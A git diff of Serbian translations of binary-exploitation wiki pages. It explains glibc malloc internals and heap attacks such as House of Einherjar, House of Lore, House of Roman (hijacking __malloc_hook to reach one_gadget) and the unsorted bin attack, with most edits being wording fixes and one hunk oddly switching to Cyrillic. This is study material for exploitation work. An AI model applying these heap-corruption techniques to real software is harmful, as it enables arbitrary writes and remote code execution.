@@ -141,15 +141,15 @@ free.md
## `do_check_malloc_state`
- **Provere u `do_check_malloc_state`:**
-- Ako je deo neusklađen brzog bin-a:
+- Ako je deo neusklađen brzog bin:
- Poruka o grešci: `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate`
- **Provere u `malloc_consolidate`:**
-- Ako je deo neusklađen brzog bin-a:
+- Ako je deo neusklađen brzog bin:
- Poruka o grešci: `malloc_consolidate(): unaligned fastbin chunk detected`
-- Ako je veličina dela brzog bin-a neispravna:
+- Ako je veličina brzog bin dela neispravna:
- Poruka o grešci: `malloc_consolidate(): invalid chunk size`
## `_int_realloc`
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
index e089fbf27..86abca70f 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
@@ -7,27 +7,27 @@
(Nema provere objašnjenih u ovom rezimeu i neki slučajevi su izostavljeni radi sažetosti)
1. `__libc_malloc` pokušava da dobije deo iz tcache, ako ne uspe, poziva `_int_malloc`
-2. `_int_malloc` :
+2. `_int_malloc` :
1. Pokušava da generiše arenu ako ne postoji
-2. Ako postoji bilo koji fast bin deo odgovarajuće veličine, koristi ga
+2. Ako postoji fast bin deo odgovarajuće veličine, koristi ga
1. Popunjava tcache sa drugim brzim delovima
-3. Ako postoji bilo koji small bin deo odgovarajuće veličine, koristi ga
+3. Ako postoji small bin deo odgovarajuće veličine, koristi ga
1. Popunjava tcache sa drugim delovima te veličine
4. Ako tražena veličina nije za small bins, konsoliduje fast bin u nesortirani bin
5. Proverava nesortirani bin, koristi prvi deo sa dovoljno prostora
-1. Ako je pronađeni deo veći, podeli ga da vrati deo i dodaj ostatak nazad u nesortirani bin
-2. Ako je deo iste veličine kao tražena veličina, koristi ga da popuni tcache umesto da ga vrati (dok tcache ne bude pun, onda vrati sledeći)
-3. Za svaki deo manje veličine koji se proverava, stavi ga u odgovarajući small ili large bin
+1. Ako je pronađeni deo veći, deli ga da vrati deo i dodaje ostatak nazad u nesortirani bin
+2. Ako je deo iste veličine kao tražena veličina, koristi ga da popuni tcache umesto da ga vrati (dok tcache ne bude pun, onda vraća sledeći)
+3. Za svaki deo manje veličine koji se proverava, stavlja ga u odgovarajući small ili large bin
6. Proverava large bin u indeksu tražene veličine
-1. Počinje da gleda od prvog dela koji je veći od tražene veličine, ako se pronađe, vrati ga i dodaj ostatke u small bin
+1. Počinje da gleda od prvog dela koji je veći od tražene veličine, ako se pronađe vraća ga i dodaje ostatke u small bin
7. Proverava large bins od sledećih indeksa do kraja
-1. Od sledećeg većeg indeksa proverava bilo koji deo, podeli prvi pronađeni deo da ga koristi za traženu veličinu i dodaj ostatak u nesortirani bin
-8. Ako ništa nije pronađeno u prethodnim binovima, uzmi deo iz top chunk
-9. Ako top chunk nije bio dovoljno velik, povećaj ga sa `sysmalloc`
+1. Od sledećeg većeg indeksa proverava da li postoji neki deo, deli prvi pronađeni deo da ga koristi za traženu veličinu i dodaje ostatak u nesortirani bin
+8. Ako ništa nije pronađeno u prethodnim binovima, uzima deo iz top chunk
+9. Ako top chunk nije bio dovoljno velik, povećava ga sa `sysmalloc`
## \_\_libc_malloc
-Funkcija `malloc` zapravo poziva `__libc_malloc`. Ova funkcija će proveriti tcache da vidi da li postoji bilo koji dostupni deo željene veličine. Ako postoji, koristiće ga, a ako ne, proveriće da li je u pitanju jedinstvena nit i u tom slučaju će pozvati `_int_malloc` u glavnoj areni, a ako ne, pozvaće `_int_malloc` u areni niti.
+Funkcija `malloc` zapravo poziva `__libc_malloc`. Ova funkcija će proveriti tcache da vidi da li postoji neki dostupni deo željene veličine. Ako postoji, koristiće ga, a ako ne, proveriće da li je u pitanju jedinstvena nit i u tom slučaju će pozvati `_int_malloc` u glavnoj areni, a ako ne, pozvaće `_int_malloc` u areni niti.
@@ -117,7 +117,7 @@ Ovo je funkcija koja alocira memoriju koristeći druge binove i top chunk.
- Početak
-Počinje definisanjem nekih varijabli i dobijanjem stvarne veličine koju traženi prostor za memoriju treba da ima:
+Započinje definisanjem nekih varijabli i dobijanjem stvarne veličine koju traženi prostor za memoriju treba da ima:
@@ -191,14 +191,14 @@ return p;
### Fast Bin
Ako je potrebna veličina unutar veličina Fast Bins, pokušajte da koristite deo iz fast bin. U suštini, na osnovu veličine, pronaći će indeks fast bin-a gde bi validni delovi trebali biti locirani, i ako ih ima, vratiće jedan od njih.\
-Štaviše, ako je tcache omogućena, **napuniće tcache bin te veličine sa fast bins**.
+Štaviše, ako je tcache omogućen, **napuniće tcache bin te veličine sa fast bins**.
-Tokom izvođenja ovih akcija, izvršavaju se neki bezbednosni provere:
+Tokom izvođenja ovih akcija, ovde se izvršavaju neki bezbednosni provere:
-- Ako je deo neusklađen: `malloc(): unaligned fastbin chunk detected 2`
-- Ako je napredni deo neusklađen: `malloc(): unaligned fastbin chunk detected`
-- Ako vraćeni deo ima veličinu koja nije ispravna zbog svog indeksa u fast bin: `malloc(): memory corruption (fast)`
-- Ako je bilo koji deo korišćen za punjenje tcache neusklađen: `malloc(): unaligned fastbin chunk detected 3`
+- Ako je deo nepravilno poravnat: `malloc(): unaligned fastbin chunk detected 2`
+- Ako je unapred deo nepravilno poravnat: `malloc(): unaligned fastbin chunk detected`
+- Ako vraćeni deo ima veličinu koja nije ispravna zbog svog indeksa u fast bin-u: `malloc(): memory corruption (fast)`
+- Ako je bilo koji deo korišćen za punjenje tcache nepravilno poravnat: `malloc(): unaligned fastbin chunk detected 3`
@@ -283,15 +283,15 @@ return p;
### Small Bin
-Kao što je naznačeno u komentaru, mali binovi drže jednu veličinu po indeksu, tako da je provera da li je dostupna validna chunk veoma brza, pa se nakon brzih binova proveravaju mali binovi.
+Kao što je naznačeno u komentaru, mali binovi drže jednu veličinu po indeksu, stoga je provera da li je dostupna validna chunk veoma brza, tako da se nakon brzih binova proveravaju mali binovi.
Prva provera je da se utvrdi da li tražena veličina može biti unutar malog bina. U tom slučaju, uzmite odgovarajući **indeks** unutar smallbina i proverite da li postoji **bilo koja dostupna chunk**.
Zatim se vrši bezbednosna provera:
-- if `victim->bk->fd = victim`. Da se vidi da su oba chunk-a ispravno povezana.
+- ako `victim->bk->fd = victim`. Da se vidi da su oba chunk-a ispravno povezana.
-U tom slučaju, chunk **dobija `inuse` bit,** dvostruko povezana lista se ispravlja tako da ovaj chunk nestaje iz nje (jer će biti korišćen), a bit za ne glavnu arenu se postavlja ako je potrebno.
+U tom slučaju, chunk **dobija `inuse` bit,** dvostruko povezana lista se ispravlja tako da ovaj chunk nestaje iz nje (jer će se koristiti), a bit za ne-glavnu arenu se postavlja ako je potrebno.
Na kraju, **popunite tcache indeks tražene veličine** sa drugim chunk-ovima unutar malog bina (ako ih ima).
@@ -391,13 +391,13 @@ malloc_consolidate (av);
Funkcija malloc consolidate u suštini uklanja delove iz brze kante i smešta ih u nesortiranu kantu. Nakon sledećeg malloc-a, ovi delovi će biti organizovani u svojim odgovarajućim malim/brzim kantama.
-Napomena: ako se prilikom uklanjanja ovih delova otkriju prethodni ili sledeći delovi koji nisu u upotrebi, oni će biti **unlinkovani i spojeni** pre nego što se konačni deo stavi u **nesortiranu** kantu.
+Napomena: ako se prilikom uklanjanja ovih delova pronađu prethodni ili sledeći delovi koji nisu u upotrebi, oni će biti **unlinkovani i spojeni** pre nego što se konačni deo stavi u **nesortiranu** kantu.
Za svaki deo iz brze kante vrši se nekoliko bezbednosnih provera:
- Ako je deo neporavnat: `malloc_consolidate(): unaligned fastbin chunk detected`
- Ako deo ima drugačiju veličinu od one koju bi trebao imati zbog indeksa u kojem se nalazi: `malloc_consolidate(): invalid chunk size`
-- Ako prethodni deo nije u upotrebi i prethodni deo ima veličinu koja se razlikuje od one koju označava `prev_chunk`: `corrupted size vs. prev_size in fastbins`
+- Ako prethodni deo nije u upotrebi i prethodni deo ima veličinu koja se razlikuje od one koju pokazuje `prev_chunk`: `corrupted size vs. prev_size in fastbins`
@@ -504,13 +504,13 @@ av->top = p;
```
-### Nepoređeni kontejner
+### Neuređeni bin
-Vreme je da proverimo nepoređeni kontejner za potencijalno validan deo koji možemo koristiti.
+Vreme je da proverimo neuređeni bin za potencijalno validan deo koji možemo koristiti.
#### Početak
-Ovo počinje velikom for petljom koja će prolaziti kroz nepoređeni kontejner u `bk` pravcu dok ne stigne do kraja (arena struktura) sa `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
+Ovo počinje sa velikom for petljom koja će prolaziti kroz neuređeni bin u `bk` pravcu dok ne stigne do kraja (arena struktura) sa `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`
Pored toga, neki sigurnosni provere se vrše svaki put kada se razmatra novi deo:
@@ -519,11 +519,11 @@ Pored toga, neki sigurnosni provere se vrše svaki put kada se razmatra novi deo
- Ako se prethodna veličina koju označava sledeći deo razlikuje od veličine dela: `malloc(): mismatching next->prev_size (unsorted)`
- Ako nije `victim->bck->fd == victim` ili nije `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted`
- Kako uvek proveravamo poslednji, njegov `fd` bi trebao uvek da pokazuje na arena strukturu.
-- Ako sledeći deo ne ukazuje da je prethodni u upotrebi: `malloc(): invalid next->prev_inuse (unsorted)`
+- Ako sledeći deo ne označava da je prethodni u upotrebi: `malloc(): invalid next->prev_inuse (unsorted)`
-_int_malloc početak nepoređenog kontejnera
+_int_malloc neuređeni bin početak
```c
/*
Process recently freed or remaindered chunks, taking one only if
@@ -574,13 +574,13 @@ malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
```
-#### ako `in_smallbin_range`
+#### ако `in_smallbin_range`
-Ako je deo veći od tražene veličine, iskoristite ga i postavite ostatak prostora dela u nesortiranu listu i ažurirajte `last_remainder` sa njim.
+Ако је комад већи од захтеване величине, користите га и поставите остатак простора комада у несортирани списак и ажурирајте `last_remainder` са њим.
-_int_malloc nesortirana kofa in_smallbin_range
+_int_malloc несортirani bin in_smallbin_range
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14
@@ -623,18 +623,18 @@ return p;
```
-Ako je ovo uspešno, vrati deo i to je to, ako ne, nastavi sa izvršavanjem funkcije...
+Ako je ovo bilo uspešno, vrati deo i to je to, ako ne, nastavi sa izvršavanjem funkcije...
#### ako je veličina jednaka
Nastavi sa uklanjanjem dela iz bin-a, u slučaju da je tražena veličina tačno veličina dela:
-- Ako tcache nije popunjen, dodaj ga u tcache i nastavi ukazujući da postoji tcache deo koji bi mogao biti korišćen
+- Ako tcache nije popunjen, dodaj ga u tcache i nastavi ukazujući da postoji tcache deo koji se može koristiti
- Ako je tcache pun, jednostavno ga koristi vraćajući ga
-_int_malloc nesortiran bin jednaka veličina
+_int_malloc nesortiran bin jednake veličine
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14
@@ -761,9 +761,9 @@ bck->fd = victim;
#### `_int_malloc` ograničenja
-U ovom trenutku, ako je neki deo sačuvan u tcache koji se može koristiti i limit je dostignut, samo **vrati tcache deo**.
+U ovom trenutku, ako je neki deo sačuvan u tcache koji se može koristiti i ograničenje je dostignuto, samo **vrati tcache deo**.
-Štaviše, ako je dostignut **MAX_ITERS**, prekinite petlju i dobijte deo na drugačiji način (top deo).
+Štaviše, ako je **MAX_ITERS** dostignut, prekinite petlju i dobijte deo na drugačiji način (top deo).
Ako je `return_cached` postavljen, samo vratite deo iz tcache da biste izbegli veće pretrage.
@@ -806,11 +806,11 @@ Ako granice nisu dostignute, nastavite sa kodom...
Ako je zahtev velik (nije u maloj kesi) i još nismo vratili nijedan deo, uzmite **indeks** tražene veličine u **velikoj kesi**, proverite da li je **prazna** ili ako je **najveći deo u ovoj kesi veći** od tražene veličine i u tom slučaju pronađite **najmanji deo koji se može koristiti** za traženu veličinu.
-Ako prostor koji ostaje od konačno korišćenog dela može biti novi deo, dodajte ga u neuređenu kesu i lsast_reminder se ažurira.
+Ako prostor koji ostaje od konačno korišćenog dela može biti novi deo, dodajte ga u nesortiranu kesu i poslednji ostatak se ažurira.
-Bezbednosna provera se vrši prilikom dodavanja ostatka u neuređenu kesu:
+Bezbednosna provera se vrši prilikom dodavanja ostatka u nesortiranu kesu:
-- `bck->fd-> bk != bck`: `malloc(): oštećeni neuređeni delovi`
+- `bck->fd-> bk != bck`: `malloc(): oštećeni nesortirani delovi`
@@ -887,7 +887,7 @@ return p;
```
-Ako se deo ne pronađe kao pogodan za ovo, nastavite
+Ako se ne pronađe odgovarajući deo za ovo, nastavite
### Velika kesa (sledeća veća)
@@ -1177,11 +1177,11 @@ Započinje dobijanjem informacija o starom top chunk-u i proverava da li su neki
- Stara veličina heap-a je 0 (novi heap)
- Veličina prethodnog heap-a je veća od MINSIZE i stari Top je u upotrebi
-- Heap je poravnat na veličinu stranice (0x1000, tako da donjih 12 bita treba da budu 0)
+- Heap je poravnat na veličinu stranice (0x1000 tako da donjih 12 bita treba da budu 0)
-Takođe proverava da li:
+Zatim takođe proverava da:
-- Stara veličina nema dovoljno prostora za kreiranje chunk-a za traženu veličinu
+- Stara veličina nema dovoljno prostora da kreira chunk za traženu veličinu
@@ -1213,7 +1213,7 @@ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
### sysmalloc ne glavna arena
Prvo će pokušati da **proširi** prethodni heap za ovaj heap. Ako to nije moguće, pokušaće da **alokira novi heap** i ažurira pokazivače kako bi mogli da ga koriste.\
-Na kraju, ako to nije uspelo, pokušaće da pozove **`sysmalloc_mmap`**.
+Na kraju, ako to nije uspelo, pokušaće da pozove **`sysmalloc_mmap`**.
@@ -1382,7 +1382,7 @@ snd_brk = brk + size;
### sysmalloc glavna arena nastavak
-Ako prethodno nije vratilo `MORECORE_FAILURE`, ako je uspelo, kreirajte neka poravnanja:
+Ako prethodno nije vratio `MORECORE_FAILURE`, ako je uspelo, kreirajte neka poravnanja:
diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md
index 617f856ed..a0b4a7500 100644
--- a/src/binary-exploitation/libc-heap/house-of-einherjar.md
+++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md
@@ -16,7 +16,7 @@
### Zahtevi
- Kreirati lažni chunk kada želimo da alociramo chunk:
-- Postaviti pokazivače da upućuju na sebe kako bi se zaobišle provere
+- Postaviti pokazivače da upućuju na sebe kako bi se zaobišli provere
- Overflow od jednog bajta sa null bajtom iz jednog chunca u sledeći kako bi se modifikovao `PREV_INUSE` flag.
- Naznačiti u `prev_size` lažnog chunca razliku između njega i lažnog chunca
- Veličina lažnog chunca takođe mora biti postavljena na istu veličinu kako bi se zaobišle provere
@@ -24,24 +24,24 @@
### Napad
-- `A` lažni chunk se kreira unutar chunca koji kontroliše napadač, upućujući sa `fd` i `bk` na originalni chunk kako bi se zaštili
-- Alociraju se 2 druga chunca (`B` i `C`)
+- `A` lažni chunk se kreira unutar chunca koji kontroliše napadač, upućujući sa `fd` i `bk` na originalni chunk kako bi se zaobišle zaštite
+- 2 druga chunca (`B` i `C`) se alociraju
- Zloupotrebljavajući off by one u `B`, `prev in use` bit se čisti i `prev_size` podaci se prepisuju sa razlikom između mesta gde je alociran `C` chunk, do lažnog `A` chunca generisanog pre
- Ovaj `prev_size` i veličina u lažnom chunku `A` moraju biti iste kako bi se zaobišle provere.
-- Zatim, tcache se popunjava
+- Zatim, tcache se puni
- Zatim, `C` se oslobađa kako bi se konsolidovao sa lažnim chunkom `A`
-- Zatim, kreira se novi chunk `D` koji će početi u lažnom `A` chunku i pokriti `B` chunk
+- Zatim, novi chunk `D` se kreira koji će početi u lažnom `A` chunku i pokriti `B` chunk
- Kuća Einherjar se ovde završava
- Ovo se može nastaviti brzim bin napadom ili Tcache trovanjem:
- Oslobodite `B` da ga dodate u brzi bin / Tcache
-- `B`'s `fd` se prepisuje tako da pokazuje na ciljnu adresu zloupotrebljavajući `D` chunk (jer sadrži `B` unutar)
+- `B`'s `fd` se prepisuje tako da pokazuje na ciljnu adresu zloupotrebljavajući `D` chunk (pošto sadrži `B` unutar)
- Zatim, vrše se 2 malloc-a i drugi će biti **alociranje ciljne adrese**
## Reference i drugi primeri
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
-- Nakon oslobađanja pokazivača, oni nisu nullifikovani, tako da je još uvek moguće pristupiti njihovim podacima. Stoga se chunk postavlja u nesortirani bin i curi pokazivače koje sadrži (libc leak) i zatim se novi heap postavlja na nesortirani bin i curi adresu heap-a iz pokazivača koji dobija.
+- Nakon oslobađanja pokazivača, oni nisu nullifikovani, tako da je još uvek moguće pristupiti njihovim podacima. Stoga se chunk postavlja u nesortirani bin i curi pokazivače koje sadrži (libc leak) i zatim se nova heap postavlja na nesortirani bin i curi adresu heap-a iz pokazivača koji dobija.
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- Null-byte overflow greška u `strtok`.
- Koristite House of Einherjar da dobijete situaciju preklapanja chunkova i završite sa Tcache trovanjem kako biste dobili proizvoljnu write primitivu.
diff --git a/src/binary-exploitation/libc-heap/house-of-lore.md b/src/binary-exploitation/libc-heap/house-of-lore.md
index 263821040..65ceea1b6 100644
--- a/src/binary-exploitation/libc-heap/house-of-lore.md
+++ b/src/binary-exploitation/libc-heap/house-of-lore.md
@@ -10,7 +10,7 @@
- Ovo ne radi
- Ili: [https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_lore.c)
- Ovo ne radi čak i ako pokušava da zaobiđe neke provere dobijajući grešku: `malloc(): unaligned tcache chunk detected`
-- Ovaj primer još uvek radi: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
+- Ovaj primer još uvek radi: [**https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html**](https://guyinatuxedo.github.io/40-house_of_lore/house_lore_exp/index.html)
### Cilj
@@ -22,18 +22,18 @@ Napomena: mali deo koji se dodaje je lažni koji napadač kreira, a ne lažni de
- Kreirajte 2 lažna dela i povežite ih zajedno i sa legitimnim delom u malom kontejneru:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
-- `fake0.fd` -> `legit` (morate modifikovati pokazivač u oslobođenom malom delu putem neke druge ranjivosti)
+- `fake0.fd` -> `legit` (morate modifikovati pokazivač u oslobođenom malom delu kontejnera putem neke druge ranjivosti)
- `legit.bk` -> `fake0`
Tada ćete moći da alocirate `fake0`.
### Napad
-- Mali deo (`legit`) se alocira, zatim se alocira još jedan kako bi se sprečilo konsolidovanje sa vrhunskim delom. Zatim, `legit` se oslobađa (premestajući ga u listu nesortiranih delova) i alocira se veći deo, **premestajući `legit` u mali kontejner.**
+- Mali deo (`legit`) se alocira, zatim se alocira još jedan kako bi se sprečilo konsolidovanje sa vrhunskim delom. Zatim, `legit` se oslobađa (premestajući ga u listu nesortiranih kontejnera) i alocira se veći deo, **premestajući `legit` u mali kontejner.**
- Napadač generiše nekoliko lažnih malih delova i pravi potrebna povezivanja da bi zaobišao provere:
- `fake0.bk` -> `fake1`
- `fake1.fd` -> `fake0`
-- `fake0.fd` -> `legit` (morate modifikovati pokazivač u oslobođenom malom delu putem neke druge ranjivosti)
+- `fake0.fd` -> `legit` (morate modifikovati pokazivač u oslobođenom malom delu kontejnera putem neke druge ranjivosti)
- `legit.bk` -> `fake0`
- Mali deo se alocira da bi se dobio legitiman, čineći **`fake0`** vrhunskim delom malih kontejnera
- Alocira se još jedan mali deo, dobijajući `fake0` kao deo, što potencijalno omogućava čitanje/pisanje pokazivača unutar njega.
diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md
index 0939d3f85..3a5e7edd7 100644
--- a/src/binary-exploitation/libc-heap/house-of-roman.md
+++ b/src/binary-exploitation/libc-heap/house-of-roman.md
@@ -17,7 +17,7 @@ Ovo je bila veoma zanimljiva tehnika koja je omogućila RCE bez leak-ova putem l
### Zahtevi
- Urediti fastbin i unsorted bin pokazivače
-- 12 bita nasumičnosti mora biti brute-forced (0.02% šanse) da bi radilo
+- 12 bita nasumičnosti mora biti brute-forced (0.02% šanse) da uspe
## Koraci napada
@@ -26,7 +26,7 @@ Ovo je bila veoma zanimljiva tehnika koja je omogućila RCE bez leak-ova putem l
Kreirajte nekoliko chunk-ova:
- `fastbin_victim` (0x60, offset 0): UAF chunk koji će kasnije urediti pokazivač na heap da pokazuje na LibC vrednost.
-- `chunk2` (0x80, offset 0x70): Za dobru poravnanje
+- `chunk2` (0x80, offset 0x70): Za dobru poravnatost
- `main_arena_use` (0x80, offset 0x100)
- `relative_offset_heap` (0x60, offset 0x190): relativni offset na 'main_arena_use' chunk
@@ -49,19 +49,19 @@ fastbin: fastbin_victim -> relative_offset_heap
unsorted: leftover_main
*/
```
-- `fastbin_victim` ima `fd` koji pokazuje na `relative_offset_heap`
-- `relative_offset_heap` je ofset udaljenosti od `fake_libc_chunk`, koji sadrži pokazivač na `main_arena + 0x68`
+- `fastbin_victim` ima `fd` koji pokazuje na `relative_offset_heap`
+- `relative_offset_heap` je ofset udaljenosti od `fake_libc_chunk`, koji sadrži pokazivač na `main_arena + 0x68`
- Promenom poslednjeg bajta `fastbin_victim.fd` moguće je da `fastbin_victim` pokazuje na `main_arena + 0x68`
Za prethodne akcije, napadač treba da bude sposoban da modifikuje fd pokazivač `fastbin_victim`.
Zatim, `main_arena + 0x68` nije toliko zanimljiv, pa hajde da ga modifikujemo tako da pokazivač pokazuje na **`__malloc_hook`**.
-Napomena da `__memalign_hook` obično počinje sa `0x7f` i nulama pre njega, tako da je moguće da se lažno predstavi kao vrednost u `0x70` brzom binu. Pošto su poslednja 4 bita adrese **nasumična**, postoji `2^4=16` mogućnosti za vrednost da završi na mestu koje nas zanima. Tako se ovde izvodi BF napad tako da se chunk završi kao: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
+Napomena da `__memalign_hook` obično počinje sa `0x7f` i nulama pre njega, tako da je moguće da se lažno predstavi kao vrednost u `0x70` brzom binu. Pošto su poslednja 4 bita adrese **nasumična**, postoji `2^4=16` mogućnosti za vrednost da završi na mestu koje nas zanima. Tako se ovde izvodi BF napad tako da se komad završi kao: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.**
-(Za više informacija o ostalim bajtovima proverite objašnjenje u [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ primeru](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Ako BF ne uspe, program se jednostavno sruši (tako da ponovo pokušajte dok ne uspe).
+(Za više informacija o ostalim bajtovima pogledajte objašnjenje u [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ primeru](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Ako BF ne uspe, program se jednostavno sruši (tako da ponovo pokušajte dok ne uspe).
-Zatim, izvršavaju se 2 malloc-a da se uklone 2 inicijalna fast bin chunk-a, a treći se alocira da dobije chunk u **`__malloc_hook:`**
+Zatim, izvršavaju se 2 malloc-a da se uklone 2 inicijalna fast bin komada, a treći se alocira da dobije komad u **`__malloc_hook:`**
```c
malloc(0x60);
malloc(0x60);
@@ -75,7 +75,7 @@ Za više informacija možete proveriti:
unsorted-bin-attack.md
{{#endref}}
-Ali u suštini omogućava da se napiše `main_arena + 0x68` na bilo koju lokaciju koju odredimo u `chunk->bk`. I za napad biramo `__malloc_hook`. Zatim, nakon prepisivanja, koristićemo relativno prepisivanje da usmerimo na `one_gadget`.
+Ali u suštini omogućava da se napiše `main_arena + 0x68` na bilo koju lokaciju koju odredi `chunk->bk`. I za napad biramo `__malloc_hook`. Zatim, nakon prepisivanja, koristićemo relativno prepisivanje da usmerimo na `one_gadget`.
Za ovo počinjemo da dobijamo chunk i stavljamo ga u **unsorted bin**:
```c
@@ -89,13 +89,13 @@ free(unsorted_bin_ptr);
Iskoristite UAF u ovom delu da usmerite `unsorted_bin_ptr->bk` na adresu `__malloc_hook` (to smo prethodno brute-forcovali).
> [!CAUTION]
-> Imajte na umu da ovaj napad korumpira nesortiranu kantu (takođe malu i veliku). Dakle, možemo samo **koristiti alokacije iz brze kante sada** (kompleksniji program može izvršiti druge alokacije i srušiti se), a da bismo to pokrenuli, moramo **alokirati istu veličinu ili će se program srušiti.**
+> Imajte na umu da ovaj napad korumpira nesortiranu kantu (takođe malu i veliku). Dakle, možemo samo **koristiti alokacije iz brze kante sada** (složeniji program može izvršiti druge alokacije i srušiti se), a da bismo to pokrenuli, moramo **alokirati istu veličinu ili će se program srušiti.**
Dakle, da bismo pokrenuli pisanje `main_arena + 0x68` u `__malloc_hook`, nakon postavljanja `__malloc_hook` u `unsorted_bin_ptr->bk` jednostavno treba da uradimo: **`malloc(0x80)`**
### Korak 3: Postavite \_\_malloc_hook na sistem
-U prvom koraku smo završili kontrolišući deo koji sadrži `__malloc_hook` (u varijabli `malloc_hook_chunk`), a u drugom koraku smo uspeli da napišemo `main_arena + 0x68` ovde.
+U prvom koraku smo završili kontrolišući deo koji sadrži `__malloc_hook` (u varijabli `malloc_hook_chunk`) i u drugom koraku smo uspeli da napišemo `main_arena + 0x68` ovde.
Sada, zloupotrebljavamo delimično prepisivanje u `malloc_hook_chunk` da bismo koristili libc adresu koju smo napisali tamo (`main_arena + 0x68`) da **usmerimo adresu `one_gadget`**.
diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
index 7d1775b79..bc53aa2af 100644
--- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
@@ -15,7 +15,7 @@ Unsorted liste mogu da upisuju adresu u `unsorted_chunks (av)` u `bk` adresu chu
Dakle, u suštini, ovaj napad omogućava da se **postavi velika brojka na proizvoljnu adresu**. Ova velika brojka je adresa, koja može biti adresa heap-a ili Glibc adresa. Tipičan cilj je **`global_max_fast`** kako bi se omogućilo kreiranje fast bin bin-ova sa većim veličinama (i prelazak iz unsorted bin napada u fast bin napad).
> [!TIP]
-> P>ogledajte primer dat u [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) i koristeći 0x4000 i 0x5000 umesto 0x400 i 0x500 kao veličine chunk-ova (da bi se izbegao Tcache) moguće je videti da **danas** greška **`malloc(): unsorted double linked list corrupted`** se aktivira.
+> P>ogledajte primer dat u [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) i koristeći 0x4000 i 0x5000 umesto 0x400 i 0x500 kao veličine chunk-ova (da bi se izbegao Tcache) moguće je videti da se **danas** greška **`malloc(): unsorted double linked list corrupted`** aktivira.
>
> Stoga, ovaj unsorted bin napad sada (pored drugih provera) takođe zahteva da se može popraviti dvostruko povezani spisak tako da se zaobiđe `victim->bk->fd == victim` ili ne `victim->fd == av (arena)`, što znači da adresa na koju želimo da pišemo mora imati adresu lažnog chunk-a u svom `fd` položaju i da lažni chunk `fd` pokazuje na arenu.
@@ -28,11 +28,11 @@ Kod od [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/u
## Unsorted Bin Infoleak Attack
-Ovo je zapravo vrlo osnovni koncept. Chunk-ovi u unsorted bin-u će imati pokazivače. Prvi chunk u unsorted bin-u će zapravo imati **`fd`** i **`bk`** linkove **koji pokazuju na deo glavne arene (Glibc)**.\
+Ovo je zapravo vrlo osnovni koncept. Chunk-ovi u unsorted bin-u će imati pokazivače. Prvi chunk u unsorted bin-u će zapravo imati **`fd`** i **`bk`** linkove **koji upućuju na deo glavne arene (Glibc)**.\
Stoga, ako možete **staviti chunk unutar unsorted bin-a i pročitati ga** (use after free) ili **ponovo ga alocirati bez prepisivanja barem 1 od pokazivača** da biste zatim **pročitali** ga, možete imati **Glibc info leak**.
-Sličan [**napad korišćen u ovom izveštaju**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), bio je zloupotreba strukture od 4 chunk-a (A, B, C i D - D je samo da spreči konsolidaciju sa top chunk-om) tako da je korišćen null byte overflow u B da bi C ukazivao da je B neiskorišćen. Takođe, u B su podaci `prev_size` modifikovani tako da je veličina umesto veličine B bila A+B.\
-Zatim je C dealokiran, i konsolidovan sa A+B (ali B je još uvek bio u upotrebi). Novi chunk veličine A je alociran i zatim su adrese libc otkrivene upisane u B odakle su otkrivene.
